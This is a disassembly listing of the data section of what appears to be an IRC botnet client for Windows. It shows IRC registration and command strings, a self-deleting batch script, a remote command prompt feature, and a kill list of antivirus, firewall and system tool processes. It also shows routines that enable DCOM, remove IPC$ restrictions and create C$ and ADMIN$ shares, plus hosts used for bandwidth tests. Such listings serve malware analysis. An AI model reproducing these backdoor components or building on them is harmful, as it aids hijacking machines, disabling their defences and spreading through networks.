dword_438754	dd 47h			; DATA XREF: ___:00437C94o
dword_438758	dd 46h			; DATA XREF: ___:00437C90o
					; ___:00438008o
dword_43875C	dd 44h			; DATA XREF: ___:00437C8Co
dword_438760	dd 53h			; DATA XREF: ___:00437C88o
dword_438764	dd 50h			; DATA XREF: ___:00437C80o
dword_438768	dd 4Fh			; DATA XREF: ___:00437C7Co
dword_43876C	dd 55h			; DATA XREF: ___:00437C74o
word_438770	dw 59h			; DATA XREF: sub_41A19D+38r
					; ___:00437C70o
		align 4
dword_438774	dd 54h			; DATA XREF: ___:00437C6Co
dword_438778	dd 52h			; DATA XREF: ___:00437C68o
dword_43877C	dd 45h			; DATA XREF: ___:00437C64o
dword_438780	dd 57h			; DATA XREF: ___:00437C60o
dword_438784	dd 51h			; DATA XREF: ___:00437C5Co
dword_438788	dd 62h			; DATA XREF: ___:00437C50o
					; ___:00437F44o ...
dword_43878C	dd 78h			; DATA XREF: ___:00437C44o
					; ___:00437F9Co
dword_438790	dd 7Ah			; DATA XREF: ___:00437C40o
					; ___:00437FA4o ...
dword_438794	dd 6Ch			; DATA XREF: ___:00437C3Co
dword_438798	dd 68h			; DATA XREF: ___:00437C30o
					; ___:00437F5Co
dword_43879C	dd 67h			; DATA XREF: ___:00437C2Co
					; ___:00437F58o ...
dword_4387A0	dd 66h			; DATA XREF: ___:00437C28o
					; ___:00437F54o
dword_4387A4	dd 79h			; DATA XREF: ___:00437FA0o
dword_4387A8	dd 77h			; DATA XREF: ___:00437BFCo
					; ___:00437F98o
dword_4387AC	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_4177CF+B1o
dword_4387B8	dd 323334h		; DATA XREF: sub_4177CF+79o
dword_4387BC	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_4177CF+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_4178BA+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417ADD+BCo
					; sub_417ADD+175r ...
		align 4
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418293+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_418359+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_418359+48o
		align 4
unk_438934	db  2Dh	; -		; DATA XREF: sub_4184E1+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_438964	db  2Dh	; -		; DATA XREF: sub_4184E1+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_43898C	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4184E1+5Co
		dd 65726165h, 64h
off_4389A8	dd offset aAdd		; DATA XREF: sub_4186C1+60r
					; sub_418A98+51r ...
					; "Add"
off_4389AC	dd offset aAdded	; DATA XREF: sub_4186C1+2Dr
					; sub_418A98+83r ...
					; "Added"
dword_4389B0	dd 0			; DATA XREF: sub_4186C1+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 438A1Ch, 438A14h,	2, 438A08h, 4389FCh, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:004389DCo
aStop_0		db 'Stop',0             ; DATA XREF: ___:004389D8o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:004389D0o
aStart_0	db 'Start',0            ; DATA XREF: ___:004389CCo
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:004389C4o
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:004389C0o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:004389B8o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:004389B4o
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_4389ACo
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_4389A8o
unk_438A70	db  2Dh	; -		; DATA XREF: sub_4186C1+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_438A94	db  2Dh	; -		; DATA XREF: sub_4186C1+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 10h
unk_438AC0	db  2Dh	; -		; DATA XREF: sub_4186C1+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4187DD:loc_4188E7o
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4187DD:loc_4188E0o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4187DD:loc_4188D9o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188D2o
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4187DD:loc_4188C4o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4187DD:loc_4188BDo
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188B6o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4187DD:loc_41888Bo
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4187DD:loc_418884o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4187DD:loc_41887Do
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4187DD:loc_418876o
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4187DD:loc_41884Bo
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4187DD:loc_418841o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4187DD:loc_418837o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4187DD:loc_418823o
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_41895B+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_41895B:loc_418A27o
aStarting	db '   Starting',0      ; DATA XREF: sub_41895B:loc_418A20o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41895B:loc_418A19o
aRunning	db '    Running',0      ; DATA XREF: sub_41895B:loc_418A12o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41895B:loc_418A0Bo
aPausing	db '    Pausing',0      ; DATA XREF: sub_41895B:loc_418A04o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_41895B:loc_4189FDo
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_41895B+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41895B+25o
		align 4
unk_439014	db  2Dh	; -		; DATA XREF: sub_418A98+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 4
dword_439038	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418A98+8Ao
		dd 73252720h, 27h
unk_439054	db  2Dh	; -		; DATA XREF: sub_418A98+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 10h
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_418C8E+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_418C8E+B5o
unk_4390A0	db  2Dh	; -		; DATA XREF: sub_418C8E+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_418C8E+26o
		align 10h
unk_439100	db  2Dh	; -		; DATA XREF: sub_418DAF+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 4
unk_439128	db  2Dh	; -		; DATA XREF: sub_418DAF+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 4
unk_439158	db  2Dh	; -		; DATA XREF: sub_418DAF+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 4
unk_439178	db  2Dh	; -		; DATA XREF: sub_418EF6+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_418EF6+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_418EF6+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_418EF6+1ACo
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_418EF6+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_418EF6:loc_419015o
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_418EF6:loc_41900Eo
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_418EF6:loc_419007o
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_418EF6+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_418EF6+84o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_418EF6+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo
		align 4
unk_439334	db  2Dh	; -		; DATA XREF: sub_4192DF+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 10h
aS_4		db '  %S',0             ; DATA XREF: sub_4192DF+BEo
		align 4
unk_439368	db  2Dh	; -		; DATA XREF: sub_4192DF+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_41945F:loc_419543o
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_41945F+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_41945F:loc_41950Ao
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_41945F:loc_4194FCo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_41945F:loc_4194C2o
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_41945F:loc_4194AEo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo
		align 10h
dword_439670	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419593+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_43969C	db  2Dh	; -		; DATA XREF: sub_419593+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_4396C8	dd offset aRegedit_exe	; DATA XREF: sub_4196BC+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_4397D0
		dd offset dword_4397C4
		dd offset dword_4397B8
		dd offset dword_4397AC
		dd offset dword_4397A0
		dd offset dword_439794
		dd offset dword_439784
		dd offset dword_439778
		dd offset dword_43976C
		dd offset dword_439760
		dd offset dword_439754
		dd offset dword_439744
		dd offset dword_439738
		dd offset dword_439728
dword_439728	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_4196BC+ECo
					; ___:00439724o
dword_439738	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439720o
dword_439744	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:0043971Co
dword_439754	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:00439718o
dword_439760	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439714o
dword_43976C	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439710o
dword_439778	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043970Co
dword_439784	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:00439708o
dword_439794	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:00439704o
dword_4397A0	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:00439700o
dword_4397AC	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:004396FCo
dword_4397B8	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:004396F8o
dword_4397C4	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:004396F4o
dword_4397D0	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:004396F0o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:004396ECo
		align 10h
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:004396E8o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:004396E4o
		align 4
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:004396E0o
		align 4
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:004396DCo
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:004396D8o
		align 10h
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:004396D4o
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:004396D0o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:004396CCo
		align 4
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_4396C8o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4196BC+191o
		align 10h
unk_439880	db  2Dh	; -		; DATA XREF: sub_4198EB:loc_419972o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_4398A4	db  2Dh	; -		; DATA XREF: sub_4198EB+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
unk_4398C8	db  2Dh	; -		; DATA XREF: sub_4198EB+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o
unk_4398F8	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419C41o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_439928	db  2Dh	; -		; DATA XREF: sub_419B0F+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 10h
unk_439950	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419BF5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 10h
unk_439980	db  2Dh	; -		; DATA XREF: sub_419C64+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_4399B4	db  2Dh	; -		; DATA XREF: sub_419C64+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 4
off_4399D8	dd offset dword_439A10	; DATA XREF: sub_419E79+1B3o
					; sub_41A19D+17Ao
		align 10h
		dd offset dword_439A08
		align 8
off_4399E8	dd offset dword_439A04	; DATA XREF: sub_41A19D+1E3o
		dd offset dword_439A00
		dd offset dword_4399FC
		dd offset dword_4399F8
dword_4399F8	dd 5C3A44h		; DATA XREF: sub_419E79+217o
					; ___:004399F4o
dword_4399FC	dd 2444h		; DATA XREF: ___:004399F0o
dword_439A00	dd 5C3A43h		; DATA XREF: ___:004399ECo
dword_439A04	dd 2443h		; DATA XREF: ___:off_4399E8o
dword_439A08	dd 494D4441h, 244Eh	; DATA XREF: ___:004399E0o
dword_439A10	dd 24435049h, 0		; DATA XREF: ___:off_4399D8o
dword_439A18	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2E5o
					; sub_41A19D+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_439A48	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 10h
dword_439A70	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A0DBo
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_439A9C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 10h
dword_439AC0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A048o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_439AEC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 10h
dword_439B10	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FABo
					; sub_41A19D:loc_41A2CBo
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_439B40	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FA4o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_439B7C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419F86o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 10h
dword_439BB0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo
					; sub_41A19D+EDo
		align 10h
dword_439C00	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+91o
					; sub_41A19D+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_439C30	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_419E79:loc_419EE6o
		dd 62617369h, 2E64656Ch, 0
dword_439C50	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_419E79+54o
					; sub_41A19D+54o
		align 10h
dword_439C80	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_1		db '%c:\',0             ; DATA XREF: sub_41A19D+230o
		align 4
aC_2		db '%c$',0              ; DATA XREF: sub_41A19D+219o
dword_439CB0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A33Co
					; sub_41A19D:loc_41A40Do
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_439CD8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+198o
					; sub_41A19D+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_439CF8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2C4o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_439D34	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2A6o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_439D6C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_439DAC	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A19D:loc_41A20Ao
		dd 6C62616Eh, 2E6465h
dword_439DC8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dword_439E20	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41A6AE+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41A6AE+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41A6AE+B6o
		align 10h
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41A6AE+AFo
		align 10h
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o
		align 4
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41A6AE+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o
		align 10h
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41A6AE+8Co
		align 10h
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41A6AE+85o
		align 10h
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41A6AE+7Eo
		align 10h
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41A6AE+77o
		align 10h
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41A6AE+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41A6AE+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41A6AE+5Bo
		align 10h
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41A6AE+4Do
		align 10h
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41A6AE+46o
		align 10h
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41A6AE+3Fo
		align 10h
